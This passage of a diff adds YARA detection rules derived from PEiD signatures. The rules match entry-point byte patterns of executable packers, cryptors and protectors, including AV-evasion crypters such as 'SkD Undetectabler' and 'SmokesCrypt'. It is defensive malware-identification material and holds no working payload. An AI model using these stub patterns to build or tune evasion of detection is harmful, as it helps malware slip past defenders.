+        $a = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02067_shoooo_s_Pack____shoooo_
+{
+    meta:
+        description = "[shoooo's Pack -> shoooo]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02068_Shrink_v1_0_
+{
+    meta:
+        description = "[Shrink v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02069_Shrink_v2_0_
+{
+    meta:
+        description = "[Shrink v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+    condition:
+        $a
+}
+
+rule PEiD_02070_Shrink_Wrap_v1_4_
+{
+    meta:
+        description = "[Shrink Wrap v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_02071_Shrinker_3_2_
+{
+    meta:
+        description = "[Shrinker 3.2]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+    condition:
+        $a
+}
+
+rule PEiD_02072_Shrinker_3_3_
+{
+    meta:
+        description = "[Shrinker 3.3]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02073_Shrinker_3_4_
+{
+    meta:
+        description = "[Shrinker 3.4]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+    condition:
+        $a
+}
+rule PEiD_02074_Shrinker_v3_2_
+{
+    meta:
+        description = "[Shrinker v3.2]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02075_Shrinker_v3_3_
+{
+    meta:
+        description = "[Shrinker v3.3]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02076_Shrinker_v3_4_
+{
+    meta:
+        description = "[Shrinker v3.4]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF}
+    condition:
+        $a
+}
+rule PEiD_02077_Shrinker_v3_4_
+{
+    meta:
+        description = "[Shrinker v3.4]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+    condition:
+        $a
+}
+
+rule PEiD_02078_Silicon_Realms_Install_Stub_
+{
+    meta:
+        description = "[Silicon Realms Install Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+    condition:
+        $a
+}
+
+rule PEiD_02079_Silicon_Realms_Install_Stub_
+{
+    meta:
+        description = "[Silicon Realms Install Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3 ?? ?? 40 00 33 F6 56 E8 ?? ?? 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 ?? ?? 00 00 FF 15 ?? 91 40 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 ?? ?? FF FF 89 75 D0 8D 45 A4 50 FF 15 ?? 91 40 00 E8 ?? ?? 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 ?? 91 40 00 50 E8 ?? ?? FF FF 89 45 A0 50 E8 ?? ?? FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 ?? ?? 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 ?? ?? FF FF 83 3D ?? ?? 40 00 01 75 05}
+    condition:
+        $a
+}
+
+rule PEiD_02080_SimbiOZ____Extranger_
+{
+    meta:
+        description = "[SimbiOZ -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+    condition:
+        $a
+}
+rule PEiD_02081_SimbiOZ_1_3____Extranger_
+{
+    meta:
+        description = "[SimbiOZ 1.3 -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02082_SimbiOZ_Poly_2_1____Extranger_
+{
+    meta:
+        description = "[SimbiOZ Poly 2.1 -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90}
+    condition:
+        $a
+}
+rule PEiD_02083_SimbiOZ_PolyCryptor_v_xx___Extranger_
+{
+    meta:
+        description = "[SimbiOZ PolyCryptor v.xx-> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02084_Simple_UPX_Cryptor_V30_4_2005____MANtiCORE_
+{
+    meta:
+        description = "[Simple UPX Cryptor V30.4.2005 -> MANtiCORE]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02085_Simple_UPX_Cryptor_v30_4_2005__multi_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [multi layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02086_Simple_UPX_Cryptor_v30_4_2005__multi_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [multi layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02087_Simple_UPX_Cryptor_v30_4_2005__One_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [One layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02088_SimplePack_1_11_Method_1____bagie_TMX_
+{
+    meta:
+        description = "[SimplePack 1.11 Method 1 -> bagie[TMX]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5}
+    condition:
+        $a
+}
+rule PEiD_02089_SimplePack_1_11_Method_1____bagie_TMX__
+{
+    meta:
+        description = "[SimplePack 1.11 Method 1 -> bagie[TMX]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC}
+    condition:
+        $a
+}
+
+rule PEiD_02090_SimplePack_1_11_Method_2_NT_____bagie_TMX__
+{
+    meta:
+        description = "[SimplePack 1.11 Method 2(NT) -> bagie[TMX]]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01}
+    condition:
+        $a
+}
+
+rule PEiD_02091_SimplePack_1_2_build_30_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.2.build.30.09 (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02092_SimplePack_1_21_build_09_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.21.build.09.09 (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02093_SimplePack_1_X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02094_SimplePack_V1_0X____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.0X -> bagie ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02095_SimplePack_V1_1X__Method1_____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method1) -> bagie ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+    condition:
+        $a
+}
+rule PEiD_02096_SimplePack_V1_1X__Method2_____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_02097_SimplePack_V1_1X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02098_SimplePack_V1_1X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02099_SimplePack_V1_1X_V1_2X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X-V1.2X (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_02100_SimplePack_V1_2_build_30_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.2.build.30.09 (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02101_SimplePack_V1_21_build_09_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.21.build.09.09 (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02102_SimplePack_V1_X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.X (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02103_SkD_Undetectabler_3__No_FSG_2_Method_____SkD_
+{
+    meta:
+        description = "[SkD Undetectabler 3 (No FSG 2 Method) -> SkD]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00 00 00 EB 0F 8B 8D F4 FD FF FF 83 C1 01 89 8D F4 FD FF FF 8B 95 F4 FD FF FF 3B 15 ?? 16 00 01 73 1C 8B 85 F4 FD FF FF 8B 0D ?? 16 00 01 8D 54 01 07 81 FA 74 10 00 01 75 02 EB 02 EB C7 8B 85 F4 FD FF FF 50 E8 ?? 00 00 00 83 C4 04 89 85 F0 FD FF FF 8B 8D F0 FD FF FF 89 4D FC C7 45 F8 00 00 00 00 EB 09 8B 55 F8 83 C2 01 89 55 F8 8B 45 F8 3B 85 F4 FD FF FF 73 15 8B 4D FC 03 4D F8 8B 15 ?? 16 00 01 03 55 F8 8A 02 88 01 EB D7 83 3D ?? 16 00 01 00 74}
+    condition:
+        $a
+}
+
+
+rule PEiD_02104_SkD_Undetectabler_Pro_2_0__No_UPX_Method_____SkD_
+{
+    meta:
+        description = "[SkD Undetectabler Pro 2.0 (No UPX Method) -> SkD]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD FF FF E8 BB ED FF FF 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_02105_SLR__OPTLINK___1__
+{
+    meta:
+        description = "[SLR (OPTLINK) (1)]"
+        ep_only = "true"
+    strings:
+        $a = {87 C0 EB ?? 71 ?? 02 D8}
+    condition:
+        $a
+}
+rule PEiD_02106_SLR__OPTLINK__
+{
+    meta:
+        description = "[SLR (OPTLINK)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB B4 30 CD 21}
+    condition:
+        $a
+}
+rule PEiD_02107_SLVc0deProtector_0_60____SLV___ICU_
+{
+    meta:
+        description = "[SLVc0deProtector 0.60 -> SLV / ICU]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+    condition:
+        $a
+}
+rule PEiD_02108_SLVc0deProtector_1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector 1.1 -> SLV (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6}
+    condition:
+        $a
+}
+
+rule PEiD_02109_SLVc0deProtector_1_1x____SLV___ICU_
+{
+    meta:
+        description = "[SLVc0deProtector 1.1x -> SLV / ICU]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00}
+    condition:
+        $a
+}
+rule PEiD_02110_SLVc0deProtector_v1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector v1.1 -> SLV (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C}
+    condition:
+        $a
+}
+
+rule PEiD_02111_SLVc0deProtector_v1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector v1.1 -> SLV (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6 D0 EB 01 00 D0 C0 FE C8 02 C1 AA E2 EF 59 E2 DE B7 FE AB E1 24 C8 0C 88 7A E1 B1 6A F7 95 83 1B A8 7F F8 A8 B0 1A 8B 08 91 47 6C 5A 88 6C 65 39 85 DB CB 54 3D B9 24 CF 4C AE C6 63 74 2C 63 F0 C8 18 0B 97 6B 79 63 A8 AB B8 78 A9 30 2F 2B DA 18 AC 35 45 36 BC 0D 7D 24 D1 51 3C E6 34 11 5A 43 06 24 89 FA 74 30}
+    condition:
+        $a
+}
+rule PEiD_02112_SmartE____Microsoft_
+{
+    meta:
+        description = "[SmartE -> Microsoft]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+    condition:
+        $a
+}
+
+rule PEiD_02113_SmokesCrypt_v1_2_
+{
+    meta:
+        description = "[SmokesCrypt v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+    condition:
+        $a
+}
+
+rule PEiD_02114_Soft_Defender_1_1x____Randy_Li_
+{
+    meta:
+        description = "[Soft Defender 1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+    condition:
+        $a
+}
+rule PEiD_02115_Soft_Defender_v1_0___v1_1_
+{
+    meta:
+        description = "[Soft Defender v1.0 - v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8}
+    condition:
+        $a
+}
+
+rule PEiD_02116_Soft_Defender_v1_12_
+{
+    meta:
+        description = "[Soft Defender v1.12]"
+        ep_only = "false"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 BE 01 00 00 03 C8 74 BD 75 BB E8}
+    condition:
+        $a
+}
+
+rule PEiD_02117_Soft_Defender_v1_1x____Randy_Li_
+{
+    meta:
+        description = "[Soft Defender v1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+    condition:
+        $a
+}
+rule PEiD_02118_SoftComp_1_x____BG_Soft_PT_
+{
+    meta:
+        description = "[SoftComp 1.x -> BG Soft PT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_02119_SoftDefender_1_x____Randy_Li_
+{
+    meta:
+        description = "[SoftDefender 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+    condition:
+        $a
+}
+
+rule PEiD_02120_SoftDefender_1_x____Randy_Li_
+{
+    meta:
+        description = "[SoftDefender 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02121_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0C 15 00 00 8D 85 2F 14 00 00 C7 00 00 00 00 00 E8 29 0F 00 00 E8 F6 14 00 00 8D 85 20 01 00 00 50 E8 AA 16 00 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_02122_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+    condition:
+        $a
+}
+rule PEiD_02123_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C 75 F2 33 C4 74 0C 23 C4 0B C4 C6 01 59 C6 01 59 EB E2 90 E8 44 14 ?? ?? 8D 85 CF 13 ?? ?? C7 ?? ?? ?? ?? ?? E8 61 0E ?? ?? E8 2E 14 ?? ?? 8D 85 E4 01 ?? ?? 50 E8 E2 15 ?? ?? 83 BD 23 01 ?? ?? 01 75 07 E8 21 0D ?? ?? EB 09 8D 85 CF 13 ?? ?? 83 08 01 83 BD 1F 01 ?? ?? 01 75 07 E8 3E 0C ?? ?? EB 05 E8 A8 0C ?? ?? E8 B3 02 ?? ?? 8D 85 63 02 ?? ?? 50 E8 A3 15 ?? ?? 8D 85 F5 02 ?? ?? 50 E8 97 15 ?? ?? E8 E2 01 ?? ?? 8D 85 09 05 ?? ?? 50 E8 86 15 ?? ?? 8D 85 F8 0F ?? ?? 50 E8 